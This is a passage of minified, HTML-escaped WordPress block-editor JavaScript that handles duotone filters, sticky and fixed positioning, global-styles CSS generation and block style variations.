l=Lf(r),a=Af(r,{presetSetting:&quot;duotone&quot;,defaultSetting:&quot;defaultDuotone&quot;}),c=Af(r,{presetSetting:&quot;palette&quot;,defaultSetting:&quot;defaultPalette&quot;}),u=(p=o?.filter?.duotone,es({settings:r},&quot;&quot;,p));var p;const g=e=&gt;{const o=a.find((({colors:t})=&gt;t===e)),r=o?`var:preset|duotone|${o.slug}`:e;n(ge(t,[&quot;filter&quot;,&quot;duotone&quot;],r))},m=()=&gt;g(void 0),f=(0,h.useCallback)((e=&gt;({...e,filter:{...e.filter,duotone:void 0}})),[]);return(0,d.jsx)(e,{resetAllFilter:f,value:t,onChange:n,panelId:i,children:l&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Duotone&quot;),hasValue:()=&gt;!!t?.filter?.duotone,onDeselect:m,isShownByDefault:s.duotone,panelId:i,children:(0,d.jsx)(Ss.Dropdown,{popoverProps:zf,className:&quot;block-editor-global-styles-filters-panel__dropdown&quot;,renderToggle:Ff(u,m),renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{paddingSize:&quot;small&quot;,children:(0,d.jsxs)(Ss.MenuGroup,{label:(0,T.__)(&quot;Duotone&quot;),children:[(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;Create a two-tone color effect without losing your original image.&quot;)}),(0,d.jsx)(Ss.DuotonePicker,{colorPalette:c,duotonePalette:a,disableCustomColors:!0,disableCustomDuotone:!0,value:u,onChange:g})]})})})})})}const Uf=[],Gf=window?.navigator.userAgent&amp;&amp;window.navigator.userAgent.includes(&quot;Safari&quot;)&amp;&amp;!window.navigator.userAgent.includes(&quot;Chrome&quot;)&amp;&amp;!window.navigator.userAgent.includes(&quot;Chromium&quot;);function $f({presetSetting:e,defaultSetting:t}){const[n,o,r,i]=Ei(t,`${e}.custom`,`${e}.theme`,`${e}.default`);return(0,h.useMemo)((()=&gt;[...o||Uf,...r||Uf,...n&amp;&amp;i||Uf]),[n,o,r,i])}function Wf(e,t){if(!e)return;const n=t?.find((({slug:t})=&gt;e===`var:preset|duotone|${t}`));return n?n.colors:void 0}Cd([Bd]);var Kf={shareWithChildBlocks:!0,edit:function({style:e,setAttributes:t,name:n}){const o=e?.color?.duotone,r=ys(n),i=ha(),s=$f({presetSetting:&quot;color.duotone&quot;,defaultSetting:&quot;color.defaultDuotone&quot;}),l=$f({presetSetting:&quot;color.palette&quot;,defaultSetting:&quot;color.defaultPalette&quot;}),[a,c]=Ei(&quot;color.custom&quot;,&quot;color.customDuotone&quot;),u=!a,p=!c||0===l?.length&amp;&amp;u;if(0===s?.length&amp;&amp;p)return null;if(&quot;default&quot;!==i)return null;const h=&quot;unset&quot;===o||Array.isArray(o)?o:Wf(o,s);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Va,{group:&quot;filter&quot;,children:(0,d.jsx)(Hf,{value:{filter:{duotone:h}},onChange:n=&gt;{const o={...e,color:{...n?.filter}};t({style:ms(o)})},settings:r})}),(0,d.jsx)(Ps,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,d.jsx)(jf,{duotonePalette:s,colorPalette:l,disableCustomDuotone:p,disableCustomColors:u,value:h,onChange:n=&gt;{const o=function(e,t){if(!e||!Array.isArray(e))return;const n=t?.find((t=&gt;t?.colors?.every(((t,n)=&gt;t===e[n]))));return n?`var:preset|duotone|${n.slug}`:void 0}(n,s),r={...e,color:{...e?.color,duotone:o??n}};t({style:ms(r)})},settings:r})})]})},useBlockProps:function({clientId:e,name:t,style:n}){const o=(0,m.useInstanceId)(qf),r=(0,h.useMemo)((()=&gt;{const e=(0,p.getBlockType)(t);if(e){if(!(0,p.getBlockSupport)(e,&quot;filter.duotone&quot;,!1))return null;const t=(0,p.getBlockSupport)(e,&quot;color.__experimentalDuotone&quot;,!1);if(t){const n=Pf(e);return&quot;string&quot;==typeof t?ts(n,t):n}return Pf(e,&quot;filter.duotone&quot;,{fallback:!0})}}),[t]),i=n?.color?.duotone,s=`wp-duotone-${o}`,l=r&amp;&amp;i;return Zf({clientId:e,id:s,selector:r,attribute:i}),{className:l?s:&quot;&quot;}},attributeKeys:[&quot;style&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;filter.duotone&quot;)};function Zf({clientId:e,id:t,selector:n,attribute:o}){const r=$f({presetSetting:&quot;color.duotone&quot;,defaultSetting:&quot;color.defaultDuotone&quot;}),i=Array.isArray(o),s=i?void 0:Wf(o,r),l=&quot;string&quot;==typeof o&amp;&amp;s;let a=null;l?a=s:(&quot;string&quot;==typeof o&amp;&amp;!l||i)&amp;&amp;(a=o);const c=n.split(&quot;,&quot;).map((e=&gt;`.${t}${e.trim()}`)).join(&quot;, &quot;),u=Array.isArray(a)||&quot;unset&quot;===a;_s(u?{css:&quot;unset&quot;!==a?Tf(c,t):Ef(c),__unstableType:&quot;presets&quot;}:void 0),_s(u?{assets:&quot;unset&quot;!==a?Mf(t,a):&quot;&quot;,__unstableType:&quot;svgs&quot;}:void 0);const d=fh(e);(0,h.useEffect)((()=&gt;{if(u&amp;&amp;d&amp;&amp;Gf){const e=d.style.display;d.style.setProperty(&quot;display&quot;,&quot;inline-block&quot;),d.offsetHeight,d.style.setProperty(&quot;display&quot;,e)}}),[u,d,a])}const qf={};function Yf(e){return(0,g.useSelect)((t=&gt;{if(!e)return null;const{getBlockName:n,getBlockAttributes:o}=t(Ii),{getBlockType:r,getActiveBlockVariation:i}=t(p.store),s=n(e),l=r(s);if(!l)return null;const a=o(e),c=i(s,a),u=(0,p.isReusableBlock)(l)||(0,p.isTemplatePart)(l),d=(u?(0,p.__experimentalGetBlockLabel)(l,a):void 0)||l.title,h=function(e){const t=e?.style?.position?.type;return&quot;sticky&quot;===t?(0,T.__)(&quot;Sticky&quot;):&quot;fixed&quot;===t?(0,T.__)(&quot;Fixed&quot;):null}(a),g={isSynced:u,title:d,icon:l.icon,description:l.description,anchor:a?.anchor,positionLabel:h,positionType:a?.style?.position?.type,name:a?.metadata?.name};return c?{isSynced:u,title:c.title||l.title,icon:c.icon||l.icon,description:c.description||l.description,anchor:a?.anchor,positionLabel:h,positionType:a?.style?.position?.type,name:a?.metadata?.name}:g}),[e])}(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/duotone/add-attributes&quot;,(function(e){return(0,p.hasBlockSupport)(e,&quot;filter.duotone&quot;)?(e.attributes.style||Object.assign(e.attributes,{style:{type:&quot;object&quot;}}),e):e}));const Xf=&quot;position&quot;,Qf={key:&quot;default&quot;,value:&quot;&quot;,name:(0,T.__)(&quot;Default&quot;)},Jf={key:&quot;sticky&quot;,value:&quot;sticky&quot;,name:(0,T._x)(&quot;Sticky&quot;,&quot;Name for the value of the CSS position property&quot;),hint:(0,T.__)(&quot;The block will stick to the top of the window instead of scrolling.&quot;)},eb={key:&quot;fixed&quot;,value:&quot;fixed&quot;,name:(0,T._x)(&quot;Fixed&quot;,&quot;Name for the value of the CSS position property&quot;),hint:(0,T.__)(&quot;The block will not move when the page is scrolled.&quot;)},tb=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],nb=[&quot;sticky&quot;,&quot;fixed&quot;];function ob(e){const t=e?.style?.position?.type;return&quot;sticky&quot;===t||&quot;fixed&quot;===t}function rb({name:e}={}){const[t,n]=Ei(&quot;position.fixed&quot;,&quot;position.sticky&quot;),o=!t&amp;&amp;!n;return r=e,!(0,p.getBlockSupport)(r,Xf)||o;var r}function ib({style:e={},clientId:t,name:n,setAttributes:o}){const r=function(e){const t=(0,p.getBlockSupport)(e,Xf);return!(!0!==t&amp;&amp;!t?.fixed)}(n),i=function(e){const t=(0,p.getBlockSupport)(e,Xf);return!(!0!==t&amp;&amp;!t?.sticky)}(n),s=e?.position?.type,{firstParentClientId:l}=(0,g.useSelect)((e=&gt;{const{getBlockParents:n}=e(Ii),o=n(t);return{firstParentClientId:o[o.length-1]}}),[t]),a=Yf(l),c=i&amp;&amp;s===Jf.value&amp;&amp;a?(0,T.sprintf)((0,T.__)(&quot;The block will stick to the scrollable area of the parent %s block.&quot;),a.title):null,u=(0,h.useMemo)((()=&gt;{const e=[Qf];return(i||s===Jf.value)&amp;&amp;e.push(Jf),(r||s===eb.value)&amp;&amp;e.push(eb),e}),[r,i,s]),m=s&amp;&amp;u.find((e=&gt;e.value===s))||Qf;return h.Platform.select({web:u.length&gt;1?(0,d.jsx)(Va,{group:&quot;position&quot;,children:(0,d.jsx)(Ss.BaseControl,{__nextHasNoMarginBottom:!0,help:c,children:(0,d.jsx)(Ss.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Position&quot;),hideLabelFromVision:!0,describedBy:(0,T.sprintf)((0,T.__)(&quot;Currently selected position: %s&quot;),m.name),options:u,value:m,onChange:({selectedItem:t})=&gt;{(t=&gt;{const n={...e,position:{...e?.position,type:t,top:&quot;sticky&quot;===t||&quot;fixed&quot;===t?&quot;0px&quot;:void 0}};o({style:ms(n)})})(t.value)},size:&quot;__unstable-large&quot;})})}):null,native:null})}var sb={edit:function(e){return rb(e)?null:(0,d.jsx)(ib,{...e})},useBlockProps:function({name:e,style:t}){const n=(0,p.hasBlockSupport)(e,Xf),o=rb({name:e}),r=n&amp;&amp;!o,i=(0,m.useInstanceId)(lb),s=`.wp-container-${i}.wp-container-${i}`;let l;r&amp;&amp;(l=function({selector:e,style:t}){let n=&quot;&quot;;const{type:o}=t?.position||{};return nb.includes(o)?(n+=`${e} {`,n+=`position: ${o};`,tb.forEach((e=&gt;{void 0!==t?.position?.[e]&amp;&amp;(n+=`${e}: ${t.position[e]};`)})),&quot;sticky&quot;!==o&amp;&amp;&quot;fixed&quot;!==o||(n+=&quot;z-index: 10&quot;),n+=&quot;}&quot;,n):n}({selector:s,style:t})||&quot;&quot;);const a=gs({[`wp-container-${i}`]:r&amp;&amp;!!l,[`is-position-${t?.position?.type}`]:r&amp;&amp;!!l&amp;&amp;!!t?.position?.type});return vs({css:l}),{className:a}},attributeKeys:[&quot;style&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,Xf)};const lb={};const ab={button:&quot;wp-element-button&quot;,caption:&quot;wp-element-caption&quot;},cb={__experimentalBorder:&quot;border&quot;,color:&quot;color&quot;,spacing:&quot;spacing&quot;,typography:&quot;typography&quot;},{kebabCase:ub}=U(Ss.privateApis);function db(e={},t,n){let o=[];return Object.keys(e).forEach((r=&gt;{const i=t+ub(r.replace(&quot;/&quot;,&quot;-&quot;)),s=e[r];if(s instanceof Object){const e=i+n;o=[...o,...db(s,e,n)]}else o.push(`${i}: ${s}`)})),o}const pb=(e,t)=&gt;{const n={};return Object.entries(e).forEach((([e,o])=&gt;{if(&quot;root&quot;===e||!t?.[e])return;const r=&quot;string&quot;==typeof o;if(r||Object.entries(o).forEach((([o,r])=&gt;{if(&quot;root&quot;===o||!t?.[e][o])return;const i=hb({[e]:{[o]:t[e][o]}});n[r]=[...n[r]||[],...i],delete t[e][o]})),r||o.root){const i=r?o:o.root,s=hb({[e]:t[e]});n[i]=[...n[i]||[],...s],delete t[e]}})),n};function hb(e={},t=&quot;&quot;,n,o={},r=!1){const i=Zi===t,s=Object.entries(p.__EXPERIMENTAL_STYLE_PROPERTY).reduce(((t,[o,{value:r,properties:s,useEngine:l,rootOnly:a}])=&gt;{if(a&amp;&amp;!i)return t;const c=r;if(&quot;elements&quot;===c[0]||l)return t;const u=me(e,c);if(&quot;--wp--style--root--padding&quot;===o&amp;&amp;(&quot;string&quot;==typeof u||!n))return t;if(s&amp;&amp;&quot;string&quot;!=typeof u)Object.entries(s).forEach((e=&gt;{const[n,o]=e;if(!me(u,[o],!1))return;const r=n.startsWith(&quot;--&quot;)?n:ub(n);t.push(`${r}: ${(0,Mi.getCSSValueFromRawStyle)(me(u,[o]))}`)}));else if(me(e,c,!1)){const n=o.startsWith(&quot;--&quot;)?o:ub(o);t.push(`${n}: ${(0,Mi.getCSSValueFromRawStyle)(me(e,c))}`)}return t}),[]);e.background&amp;&amp;(e.background?.backgroundImage&amp;&amp;(e.background.backgroundImage=os(e.background.backgroundImage,o)),!i&amp;&amp;e.background?.backgroundImage?.id&amp;&amp;(e={...e,background:{...e.background,...Ru(e.background)}}));return(0,Mi.getCSSRules)(e).forEach((e=&gt;{if(i&amp;&amp;(n||r)&amp;&amp;e.key.startsWith(&quot;padding&quot;))return;const t=e.key.startsWith(&quot;--&quot;)?e.key:ub(e.key);let l=os(e.value,o);&quot;font-size&quot;===t&amp;&amp;(l=$i({size:l},o?.settings)),&quot;aspect-ratio&quot;===t&amp;&amp;s.push(&quot;min-height: unset&quot;),s.push(`${t}: ${l}`)})),s}function gb({layoutDefinitions:e=Vs,style:t,selector:n,hasBlockGapSupport:o,hasFallbackGapSupport:r,fallbackGapValue:i}){let s=&quot;&quot;,l=o?cl(t?.spacing?.blockGap):&quot;&quot;;if(r&amp;&amp;(n===Zi?l=l||&quot;0.5em&quot;:!o&amp;&amp;i&amp;&amp;(l=i)),l&amp;&amp;e&amp;&amp;(Object.values(e).forEach((({className:e,name:t,spacingStyles:r})=&gt;{(o||&quot;flex&quot;===t||&quot;grid&quot;===t)&amp;&amp;r?.length&amp;&amp;r.forEach((t=&gt;{const r=[];if(t.rules&amp;&amp;Object.entries(t.rules).forEach((([e,t])=&gt;{r.push(`${e}: ${t||l}`)})),r.length){let i=&quot;&quot;;i=o?n===Zi?`:root :where(.${e})${t?.selector||&quot;&quot;}`:`:root :where(${n}-${e})${t?.selector||&quot;&quot;}`:n===Zi?`:where(.${e}${t?.selector||&quot;&quot;})`:`:where(${n}.${e}${t?.selector||&quot;&quot;})`,s+=`${i} { ${r.join(&quot;; &quot;)}; }`}}))})),n===Zi&amp;&amp;o&amp;&amp;(s+=`${qi} { --wp--style--block-gap: ${l}; }`)),n===Zi&amp;&amp;e){const t=[&quot;block&quot;,&quot;flex&quot;,&quot;grid&quot;];Object.values(e).forEach((({className:e,displayMode:o,baseStyles:r})=&gt;{o&amp;&amp;t.includes(o)&amp;&amp;(s+=`${n} .${e} { display:${o}; }`),r?.length&amp;&amp;r.forEach((t=&gt;{const n=[];if(t.rules&amp;&amp;Object.entries(t.rules).forEach((([e,t])=&gt;{n.push(`${e}: ${t}`)})),n.length){s+=`${`.${e}${t?.selector||&quot;&quot;}`} { ${n.join(&quot;; &quot;)}; }`}}))}))}return s}const mb=[&quot;border&quot;,&quot;color&quot;,&quot;dimensions&quot;,&quot;spacing&quot;,&quot;typography&quot;,&quot;filter&quot;,&quot;outline&quot;,&quot;shadow&quot;,&quot;background&quot;];function fb(e){if(!e)return{};const t=Object.entries(e).filter((([e])=&gt;mb.includes(e))).map((([e,t])=&gt;[e,JSON.parse(JSON.stringify(t))]));return Object.fromEntries(t)}const bb=(e,t)=&gt;{const n=[];if(!e?.styles)return n;const o=fb(e.styles);return o&amp;&amp;n.push({styles:o,selector:Zi,skipSelectorWrapper:!0}),Object.entries(p.__EXPERIMENTAL_ELEMENTS).forEach((([t,o])=&gt;{e.styles?.elements?.[t]&amp;&amp;n.push({styles:e.styles?.elements?.[t],selector:o,skipSelectorWrapper:!ab[t]})})),Object.entries(e.styles?.blocks??{}).forEach((([e,o])=&gt;{const r=fb(o);if(o?.variations){const i={};Object.entries(o.variations).forEach((([o,r])=&gt;{i[o]=fb(r),r?.css&amp;&amp;(i[o].css=r.css);const s=t[e]?.styleVariationSelectors?.[o];Object.entries(r?.elements??{}).forEach((([e,t])=&gt;{t&amp;&amp;p.__EXPERIMENTAL_ELEMENTS[e]&amp;&amp;n.push({styles:t,selector:ts(s,p.__EXPERIMENTAL_ELEMENTS[e])})})),Object.entries(r?.blocks??{}).forEach((([e,o])=&gt;{const r=ts(s,t[e]?.selector),i=ts(s,t[e]?.duotoneSelector),l=function(e,t){if(!e||!t)return;const n={};return Object.entries(t).forEach((([t,o])=&gt;{&quot;string&quot;==typeof o&amp;&amp;(n[t]=ts(e,o)),&quot;object&quot;==typeof o&amp;&amp;(n[t]={},Object.entries(o).forEach((([o,r])=&gt;{n[t][o]=ts(e,r)})))})),n}(s,t[e]?.featureSelectors),a=fb(o);o?.css&amp;&amp;(a.css=o.css),n.push({selector:r,duotoneSelector:i,featureSelectors:l,fallbackGapValue:t[e]?.fallbackGapValue,hasLayoutSupport:t[e]?.hasLayoutSupport,styles:a}),Object.entries(o.elements??{}).forEach((([e,t])=&gt;{t&amp;&amp;p.__EXPERIMENTAL_ELEMENTS[e]&amp;&amp;n.push({styles:t,selector:ts(r,p.__EXPERIMENTAL_ELEMENTS[e])})}))}))})),r.variations=i}t?.[e]?.selector&amp;&amp;n.push({duotoneSelector:t[e].duotoneSelector,fallbackGapValue:t[e].fallbackGapValue,hasLayoutSupport:t[e].hasLayoutSupport,selector:t[e].selector,styles:r,featureSelectors:t[e].featureSelectors,styleVariationSelectors:t[e].styleVariationSelectors}),Object.entries(o?.elements??{}).forEach((([o,r])=&gt;{r&amp;&amp;t?.[e]&amp;&amp;p.__EXPERIMENTAL_ELEMENTS[o]&amp;&amp;n.push({styles:r,selector:t[e]?.selector.split(&quot;,&quot;).map((e=&gt;p.__EXPERIMENTAL_ELEMENTS[o].split(&quot;,&quot;).map((t=&gt;e+&quot; &quot;+t)))).join(&quot;,&quot;)})}))})),n},kb=(e,t)=&gt;{const n=[];if(!e?.settings)return n;const o=e=&gt;{let t={};return Yi.forEach((({path:n})=&gt;{const o=me(e,n,!1);!1!==o&amp;&amp;(t=ge(t,n,o))})),t},r=o(e.settings),i=e.settings?.custom;return(Object.keys(r).length&gt;0||i)&amp;&amp;n.push({presets:r,custom:i,selector:qi}),Object.entries(e.settings?.blocks??{}).forEach((([e,r])=&gt;{const i=o(r),s=r.custom;(Object.keys(i).length&gt;0||s)&amp;&amp;n.push({presets:i,custom:s,selector:t[e]?.selector})})),n},vb=(e,t)=&gt;{const n=kb(e,t);let o=&quot;&quot;;return n.forEach((({presets:t,custom:n,selector:r})=&gt;{const i=function(e={},t){return Yi.reduce(((n,{path:o,valueKey:r,valueFunc:i,cssVarInfix:s})=&gt;{const l=me(e,o,[]);return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].forEach((e=&gt;{l[e]&amp;&amp;l[e].forEach((e=&gt;{r&amp;&amp;!i?n.push(`--wp--preset--${s}--${ub(e.slug)}: ${e[r]}`):i&amp;&amp;&quot;function&quot;==typeof i&amp;&amp;n.push(`--wp--preset--${s}--${ub(e.slug)}: ${i(e,t)}`)}))})),n}),[])}(t,e?.settings),s=db(n,&quot;--wp--custom--&quot;,&quot;--&quot;);s.length&gt;0&amp;&amp;i.push(...s),i.length&gt;0&amp;&amp;(o+=`${r}{${i.join(&quot;;&quot;)};}`)})),o},_b=(e,t,n,o,r=!1,i=!1,s=void 0)=&gt;{const l={blockGap:!0,blockStyles:!0,layoutStyles:!0,marginReset:!0,presets:!0,rootPadding:!0,variationStyles:!1,...s},a=bb(e,t),c=kb(e,t),u=e?.settings?.useRootPaddingAwareAlignments,{contentSize:d,wideSize:p}=e?.settings?.layout||{},h=l.marginReset||l.rootPadding||l.layoutStyles;let g=&quot;&quot;;if(l.presets&amp;&amp;(d||p)&amp;&amp;(g+=`${qi} {`,g=d?g+` --wp--style--global--content-size: ${d};`:g,g=p?g+` --wp--style--global--wide-size: ${p};`:g,g+=&quot;}&quot;),h&amp;&amp;(g+=&quot;:where(body) {margin: 0;&quot;,l.rootPadding&amp;&amp;u&amp;&amp;(g+=&quot;padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }\n\t\t\t\t.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t\t.has-global-padding &gt; .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }\n\t\t\t\t.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) &gt; .alignfull { margin-left: 0; margin-right: 0;\n\t\t\t\t&quot;),g+=&quot;}&quot;),l.blockStyles&amp;&amp;a.forEach((({selector:t,duotoneSelector:s,styles:a,fallbackGapValue:c,hasLayoutSupport:d,featureSelectors:p,styleVariationSelectors:h,skipSelectorWrapper:m})=&gt;{if(p){const e=pb(p,a);Object.entries(e).forEach((([e,t])=&gt;{if(t.length){const n=t.join(&quot;;&quot;);g+=`:root :where(${e}){${n};}`}}))}if(s){const e={};a?.filter&amp;&amp;(e.filter=a.filter,delete a.filter);const t=hb(e);t.length&amp;&amp;(g+=`${s}{${t.join(&quot;;&quot;)};}`)}r||Zi!==t&amp;&amp;!d||(g+=gb({style:a,selector:t,hasBlockGapSupport:n,hasFallbackGapSupport:o,fallbackGapValue:c}));const f=hb(a,t,u,e,i);if(f?.length){g+=`${m?t:`:root :where(${t})`}{${f.join(&quot;;&quot;)};}`}a?.css&amp;&amp;(g+=Sb(a.css,`:root :where(${t})`)),l.variationStyles&amp;&amp;h&amp;&amp;Object.entries(h).forEach((([t,n])=&gt;{const o=a?.variations?.[t];if(o){if(p){const e=pb(p,o);Object.entries(e).forEach((([e,t])=&gt;{if(t.length){const o=function(e,t){const n=e.split(&quot;,&quot;),o=[];return n.forEach((e=&gt;{o.push(`${t.trim()}${e.trim()}`)})),o.join(&quot;, &quot;)}(e,n),r=t.join(&quot;;&quot;);g+=`:root :where(${o}){${r};}`}}))}const t=hb(o,n,u,e);t.length&amp;&amp;(g+=`:root :where(${n}){${t.join(&quot;;&quot;)};}`),o?.css&amp;&amp;(g+=Sb(o.css,`:root :where(${n})`))}}));const b=Object.entries(a).filter((([e])=&gt;e.startsWith(&quot;:&quot;)));b?.length&amp;&amp;b.forEach((([e,n])=&gt;{const o=hb(n);if(!o?.length)return;const r=`:root :where(${t.split(&quot;,&quot;).map((t=&gt;t+e)).join(&quot;,&quot;)}){${o.join(&quot;;&quot;)};}`;g+=r}))})),l.layoutStyles&amp;&amp;(g+=&quot;.wp-site-blocks &gt; .alignleft { float: left; margin-right: 2em; }&quot;,g+=&quot;.wp-site-blocks &gt; .alignright { float: right; margin-left: 2em; }&quot;,g+=&quot;.wp-site-blocks &gt; .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }&quot;),l.blockGap&amp;&amp;n){const t=cl(e?.styles?.spacing?.blockGap)||&quot;0.5em&quot;;g+=`:root :where(.wp-site-blocks) &gt; * { margin-block-start: ${t}; margin-block-end: 0; }`,g+=&quot;:root :where(.wp-site-blocks) &gt; :first-child { margin-block-start: 0; }&quot;,g+=&quot;:root :where(.wp-site-blocks) &gt; :last-child { margin-block-end: 0; }&quot;}return l.presets&amp;&amp;c.forEach((({selector:e,presets:t})=&gt;{Zi!==e&amp;&amp;qi!==e||(e=&quot;&quot;);const n=function(e=&quot;*&quot;,t={}){return Yi.reduce(((n,{path:o,cssVarInfix:r,classes:i})=&gt;{if(!i)return n;const s=me(t,o,[]);return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].forEach((t=&gt;{s[t]&amp;&amp;s[t].forEach((({slug:t})=&gt;{i.forEach((({classSuffix:o,propertyName:i})=&gt;{const s=`.has-${ub(t)}-${o}`,l=e.split(&quot;,&quot;).map((e=&gt;`${e}${s}`)).join(&quot;,&quot;),a=`var(--wp--preset--${r}--${ub(t)})`;n+=`${l}{${i}: ${a} !important;}`}))}))})),n}),&quot;&quot;)}(e,t);n.length&gt;0&amp;&amp;(g+=n)})),g};function yb(e,t){return kb(e,t).flatMap((({presets:e})=&gt;function(e={}){return Yi.filter((e=&gt;&quot;duotone&quot;===e.path.at(-1))).flatMap((t=&gt;{const n=me(e,t.path,{});return[&quot;default&quot;,&quot;theme&quot;].filter((e=&gt;n[e])).flatMap((e=&gt;n[e].map((e=&gt;Mf(`wp-duotone-${e.slug}`,e.colors))))).join(&quot;&quot;)}))}(e)))}const xb=(e,t,n)=&gt;{const o={};return e.forEach((e=&gt;{const r=e.name,i=Pf(e);let s=Pf(e,&quot;filter.duotone&quot;);if(!s){const t=Pf(e),n=(0,p.getBlockSupport)(e,&quot;color.__experimentalDuotone&quot;,!1);s=n&amp;&amp;ts(t,n)}const l=!!e?.supports?.layout||!!e?.supports?.__experimentalLayout,a=e?.supports?.spacing?.blockGap?.__experimentalDefault,c=t(r),u={};c?.forEach((e=&gt;{const t=n?`-${n}`:&quot;&quot;,o=`${e.name}${t}`,r=function(e,t){const n=`.is-style-${e}`;if(!t)return n;const o=/((?::\([^)]+\))?\s*)([^\s:]+)/,r=(e,t,o)=&gt;t+o+n;return t.split(&quot;,&quot;).map((e=&gt;e.replace(o,r))).join(&quot;,&quot;)}(o,i);u[o]=r}));const d=((e,t)=&gt;{if(e?.selectors&amp;&amp;Object.keys(e.selectors).length&gt;0)return e.selectors;const n={root:t};return Object.entries(cb).forEach((([t,o])=&gt;{const r=Pf(e,t);r&amp;&amp;(n[o]=r)})),n})(e,i);o[r]={duotoneSelector:s,fallbackGapValue:a,featureSelectors:Object.keys(d).length?d:void 0,hasLayoutSupport:l,name:r,selector:i,styleVariationSelectors:c?.length?u:void 0}})),o};function Sb(e,t){let n=&quot;&quot;;if(!e||&quot;&quot;===e.trim())return n;return e.split(&quot;&amp;&quot;).forEach((e=&gt;{if(!e||&quot;&quot;===e.trim())return;if(!e.includes(&quot;{&quot;))n+=`:root :where(${t}){${e.trim()}}`;else{const o=e.replace(&quot;}&quot;,&quot;&quot;).split(&quot;{&quot;);if(2!==o.length)return;const[r,i]=o,s=r.match(/([&gt;+~\s]*::[a-zA-Z-]+)/),l=s?s[1]:&quot;&quot;,a=s?r.replace(l,&quot;&quot;).trim():r.trim();let c;c=&quot;&quot;===a?t:r.startsWith(&quot; &quot;)?ts(t,a):function(e,t){return e.includes(&quot;,&quot;)?e.split(&quot;,&quot;).map((e=&gt;e+t)).join(&quot;,&quot;):e+t}(t,a),n+=`:root :where(${c})${l}{${i.trim()}}`}})),n}function wb(e={},t){const[n]=as(&quot;spacing.blockGap&quot;),o=null!==n,r=!o,i=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return!!t().disableLayoutStyles})),{getBlockStyles:s}=(0,g.useSelect)(p.store);return(0,h.useMemo)((()=&gt;{if(!e?.styles||!e?.settings)return[];const n=(l=e,l.styles?.blocks?.[&quot;core/separator&quot;]&amp;&amp;l.styles?.blocks?.[&quot;core/separator&quot;].color?.background&amp;&amp;!l.styles?.blocks?.[&quot;core/separator&quot;].color?.text&amp;&amp;!l.styles?.blocks?.[&quot;core/separator&quot;].border?.color?{...l,styles:{...l.styles,blocks:{...l.styles.blocks,&quot;core/separator&quot;:{...l.styles.blocks[&quot;core/separator&quot;],color:{...l.styles.blocks[&quot;core/separator&quot;].color,text:l.styles?.blocks[&quot;core/separator&quot;].color.background}}}}}:l);var l;const a=xb((0,p.getBlockTypes)(),s),c=vb(n,a),u=_b(n,a,o,r,i,t),d=yb(n,a),h=[{css:c,isGlobalStyles:!0},{css:u,isGlobalStyles:!0},{css:n.styles.css??&quot;&quot;,isGlobalStyles:!0},{assets:d,__unstableType:&quot;svg&quot;,isGlobalStyles:!0}];return(0,p.getBlockTypes)().forEach((e=&gt;{if(n.styles.blocks[e.name]?.css){const t=a[e.name].selector;h.push({css:Sb(n.styles.blocks[e.name]?.css,t),isGlobalStyles:!0})}})),[h,n.settings]}),[o,r,e,i,t,s])}function Cb(e=!1){const{merged:t}=(0,h.useContext)(rs);return wb(t,e)}const Bb=&quot;is-style-&quot;;function Ib(e){return e?e.split(/\s+/).reduce(((e,t)=&gt;{if(t.startsWith(Bb)){const n=t.slice(9);&quot;default&quot;!==n&amp;&amp;e.push(n)}return e}),[]):[]}function jb({override:e}){_s(e)}function Eb(e,t,n){if(!e?.styles?.blocks?.[t]?.variations?.[n])return;const o=t=&gt;{Object.keys(t).forEach((n=&gt;{const r=t[n];if(&quot;object&quot;==typeof r&amp;&amp;null!==r)if(void 0!==r.ref)if(&quot;string&quot;!=typeof r.ref||&quot;&quot;===r.ref.trim())delete t[n];else{const o=me(e,r.ref);o?t[n]=o:delete t[n]}else o(r),0===Object.keys(r).length&amp;&amp;delete t[n]}))},r=JSON.parse(JSON.stringify(e.styles.blocks[t].variations[n]));return o(r),r}var Tb={hasSupport:()=&gt;!0,attributeKeys:[&quot;className&quot;],isMatch:({className:e})=&gt;Ib(e).length&gt;0,useBlockProps:function({name:e,className:t,clientId:n}){const{getBlockStyles:o}=(0,g.useSelect)(p.store),r=function(e,t=[]){const n=Ib(e);if(!n)return null;for(const e of n)if(t.some((t=&gt;t.name===e)))return e;return null}(t,o(e)),i=`${Bb}${r}-${n}`,{settings:s,styles:l}=function(e,t,n){const{merged:o}=(0,h.useContext)(rs),{globalSettings:r,globalStyles:i}=(0,g.useSelect)((e=&gt;{const t=e(Ii).getSettings();return{globalSettings:t.__experimentalFeatures,globalStyles:t[N]}}),[]);return(0,h.useMemo)((()=&gt;{const s=Eb({settings:o?.settings??r,styles:o?.styles??i},e,t);return{settings:o?.settings??r,styles:{blocks:{[e]:{variations:{[`${t}-${n}`]:s}}}}}}),[o,r,i,t,n,e])}(e,r,n),a=(0,h.useMemo)((()=&gt;{if(!r)return;const e={settings:s,styles:l},t=xb((0,p.getBlockTypes)(),o,n);return 